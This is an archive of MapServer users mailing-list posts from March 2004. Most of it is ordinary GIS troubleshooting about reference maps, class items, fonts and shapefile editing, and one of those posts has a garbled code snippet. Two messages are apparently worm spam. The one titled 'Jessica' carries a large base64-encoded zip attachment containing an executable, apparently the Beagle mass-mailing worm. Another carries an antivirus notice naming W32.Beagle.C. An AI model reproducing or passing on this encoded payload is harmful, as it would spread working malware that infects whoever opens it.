From John.Hockaday@ga.gov.au Mon Mar 1 03:36:16 2004 From: John.Hockaday@ga.gov.au (John.Hockaday@ga.gov.au) Date: Mon, 1 Mar 2004 14:36:16 +1100 Subject: [Mapserver-users] Reference map to show boundingcoordinates extent not map extent Message-ID: Steve, Thanks for this information. I have finally got around to implementing your suggestions. (I've had lots of fires to put out.) ;--) I have created what I think should work at the following URL: http://asdd.ga.gov.au/asdd/reference_call.html I've tried combinations inside my map file: http://asdd.ga.gov.au/asdd/ref.map I've looked at your tomo code and tried adding and removing different symbols but I still keep on getting this following error: "getDouble(): Symbol definition error. (+):(51)" It seems that I'm missing something in my map file but for the life of me I can't work out what it is. I'd appreciate any help that you or someone else on this list can provide to fix my problem. Thanks. John > -----Original Message----- > From: Steve Lime [mailto:steve.lime@dnr.state.mn.us] > Sent: Thursday, 5 February 2004 5:05 > To: Hockaday John; mapserver-users@lists.gis.umn.edu > Subject: Re: [Mapserver-users] Reference map to show > boundingcoordinates extent not map extent > > > You can build your reference maps just as a regular map. I've > done that > before. In fact you used to have to if you wanted to do things like > change the representation of the extent based on scale. > > The idea goes like this. In a new mapfile > > 1) set the main EXTENT to whatever your reference image is > 2) set the size to match the reference image > 3) add the reference image as a raster layer, make sure to > set TRANSFORM > FALSE (this effectively pastes the image in the map) > 4) create a layer to draw the extent with, the coordinates will be > supplied dynamically, this might work > > LAYER > NAME 'box' > TYPE POLYGON > STATUS OFF > CLASS COLOR 255 0 0 END > END > > 5) now, in your template make a call to the mapfile, something like: > > http://.../cgi-bin/mapserv?mode=map&map=reference.map&layer=box > &map_box_feature=new&map_box_feature_points=[rawminx]+[rawminy > ]+[rawminx]+[rawmaxy]+... > > Basically you do exactly what MapServer does internally in > the reference > map functions, but you force feed it the rectangle of your choice > dynamically. The reference map on this page is built using this > approach: > > http://www.dnr.state.mn.us/maps/tomo.html > > Hope this helps! > > Steve > > > >>> 02/04/04 11:10 PM >>> > Hi all, > > I am using cgi mapserv to identify a bounding box which is used to > define a > region in another application. I use JavaScript to allow the user to > drag a > bounding box on the [img] and the resulting [rawminx], [rawminy] etc. > coordinates are sent to mapserv which returns an image zoomed into the > selected region. The image size is fixed so there is some area either > above > and below or to the left and right of the selected region which is > outside of > the area defined by the user. > > Mapserv also returns a reference map and the defined area on that map > shows > the extent of the mapserv image but not the extent of the > region defined > by > the user. > > Are there some parameters that can be sent to a cgi mapserv > so that the > reference map indicates the [rawminx], [rawminy], [rawmaxx] and > [rawmaxy] > converted to lats and long instead of the [imgext]? Or is there some > other > way of creating a reference map with the [imgbox] coordinates and not > the > [imgext] coordinates? > > Thanks. > > > John > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From delfos18@yahoo.com Mon Mar 1 05:03:11 2004 From: delfos18@yahoo.com (J. Delfos) Date: Sun, 29 Feb 2004 21:03:11 -0800 (PST) Subject: [Mapserver-users] Map Layers do not appear Message-ID: <20040301050311.90905.qmail@web12103.mail.yahoo.com> Nick, I think your problem may be that your classitem attribute starts with a number. Mapserver doesn't like attributes starting with a number. Try starting with a letter or maybe an underscore. regards, Jacob > > LAYER > NAME "Canada Hg Emissions (kg)" > STATUS ON > DATA "mercury/CanHgEmis" > TYPE POINT > CLASSITEM "2000_NPRI_" > CLASS __________________________________ Do you Yahoo!? Get better spam protection with Yahoo! Mail. http://antispam.yahoo.com/tools From cz_toh@yahoo.com Mon Mar 1 06:46:55 2004 From: cz_toh@yahoo.com (=?iso-8859-1?q?TOH=20CZ?=) Date: Mon, 1 Mar 2004 06:46:55 +0000 (GMT) Subject: [Mapserver-users] Error in example 2.1 of mapserver tutorial Message-ID: <20040301064655.51083.qmail@web14005.mail.yahoo.com> Hi, I have managed to get mapserver to work after a few trial and errors However I have run into this error while trying out example 2.1 msGetLabelSize(): TrueType Font error. Could not find/open font I changed the required hrefs in the mapfiles and html files and I have also tried changing the font size but I still cannot get it to work ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html From mikereilly_7@hotmail.com Mon Mar 1 06:46:54 2004 From: mikereilly_7@hotmail.com (Mike Reilly) Date: Sun, 29 Feb 2004 22:46:54 -0800 Subject: [Mapserver-users] Adding points to an existing point type shape file Message-ID: Hi: I wanted to check my logic here. I think I've figured out how to add points to an existing shape file (point data, of course). Does it make sense to do it as follows: 1. Get the x and y co-ordinates from the user clicking on an x = $newx; $mypoint->y = $newy; $newpoint = $myshapefile->addPoint($mypoint); Does this make sense, or should I use $mypoint->setXY($newx, $newy, 0); to set my x and y co-ordinates for it? Another question about this - I have no idea what the 3rd parameter of setXY does (probably because I come from a programming background rather than a GIS background). What is a "measured shape file"? Thanks for any illumination or hints you can provide. I'm very encouraged to have gotten this far! The light at the end of the tunnel for this project appears to be looming :) _________________________________________________________________ Protect your PC - get McAfee.com VirusScan Online http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963 From mapserver@digger.net Mon Mar 1 09:47:05 2004 From: mapserver@digger.net (mapserver@digger.net) Date: Mon, 01 Mar 2004 10:47:05 +0100 Subject: [Mapserver-users] Ahtung! Message-ID: ----------nirllxamlbbbbeuqheph Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit ----------nirllxamlbbbbeuqheph Content-Type: plain/text; name="Norton AntiVirus Deleted1.txt" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Norton AntiVirus Deleted1.txt" Tm9ydG9uIEFudGlWaXJ1cyByZW1vdmVkIHRoZSBhdHRhY2htZW50OiBkYmFiYmQuemlwLg0N ClRoZSBXMzIuQmVhZ2xlLkNAbW0gdGhyZWF0IHdhcyBkZXRlY3RlZCBpbiB0aGUgYXR0YWNo bWVudC4= ----------nirllxamlbbbbeuqheph-- From shpr@libero.it Mon Mar 1 10:16:27 2004 From: shpr@libero.it (shpr@libero.it) Date: Mon, 01 Mar 2004 11:16:27 +0100 Subject: [Mapserver-users] Jessica Message-ID: ----------eqmnjbghpntsjkkkaorc Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Cya ----------eqmnjbghpntsjkkkaorc Content-Type: application/octet-stream; name="acedbdccabb.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="cddebea.zip" UEsDBAoAAAAAAMBYYTC48NzxX0UAAF9FAAAMAAAAZnFneHBtaHcuZXhlTVqQAAMAAAAEAAAA //8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAA4f ug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0K JAAAAAAAAADOonn7isMXqIrDF6iKwxeoisMXqInDF6gE3ASousMXqGLcEqiLwxeoduMFqIvD F6hNxRGoi8MXqFJpY2iKwxeoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBBQAAAAAA AAAAAAAAAADgAA8BCwEAAAAOAAAAYAAAAAAAAACgAAAAEAAAACAAAAAAQAAAEAAAAAIAAAQA AAAAAAAABAAAAAAAAAAA4AAAAAQAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAA AAAAAAAAAAAxogAA0QAAAACQAACgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAKwAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAgAAAAADgAAAAAAAAQNAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAA AABAAADAAAYAAAAAAACKBAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAwABSAAAAAAAA 9FQAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAKADAAAAkAAAAAQAAAAE AAAAAAAAAAAAAAAAAQBAAADAAAAAAAAAAAAAQAAAAKAAAAA6AAAACAAAAAAAAAAAAAAAAAAA QAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACAAAAAAAAAAAAAAAAA AAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAAAAAAAAAAAAABAAAA AACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAAIAAAAEAAAAABAAQA AAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICA gADAwMAAAAD/AAAAAAAA//8A/wAAAP8A/wD//wAA////AKqqAAAAAAAAAAAAAAAKqqqqp4iI iIiIiIiIiIiAgKqqqn//////////////+AgKqqp///////////////gICqqqf/AAAA////// ///4CAqqqn//////////////+AgKqqp/8AAAD/////////gICqqqf//////////////4CAqq qn//////////////+AgKqqp/8AAAAAAAAAAAD/gICqqqf//////////////4CAqqqn/wAAAA AAAAAAAP+AgKqqp///////////////gICqqqf/AAAAAAAAAAAA/4CAqqqn////////////// +AgKqqp/8AAAAAAAAAAAD/gICqqqf//////////////4CAqqqn//////////////+AgKqqp/ 8AAAD/////////gICqqqf//////////////4CAqqqn//////////////+AgKqqp///////// //////gICqqqf/AAAA/////////4CAqqqn//////////////+AgKqqp/8AAAD////w8AD/gI Cqqqf//////////////4CAqqqn//////////////+AgKqqp///////////////gICqqqfw/w /w/w/w/w/w/3CAqqqn8P8P8P8P8P8P8P9wgKqqqn939393939393939wqqqqqgCgCgCgCgCg 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 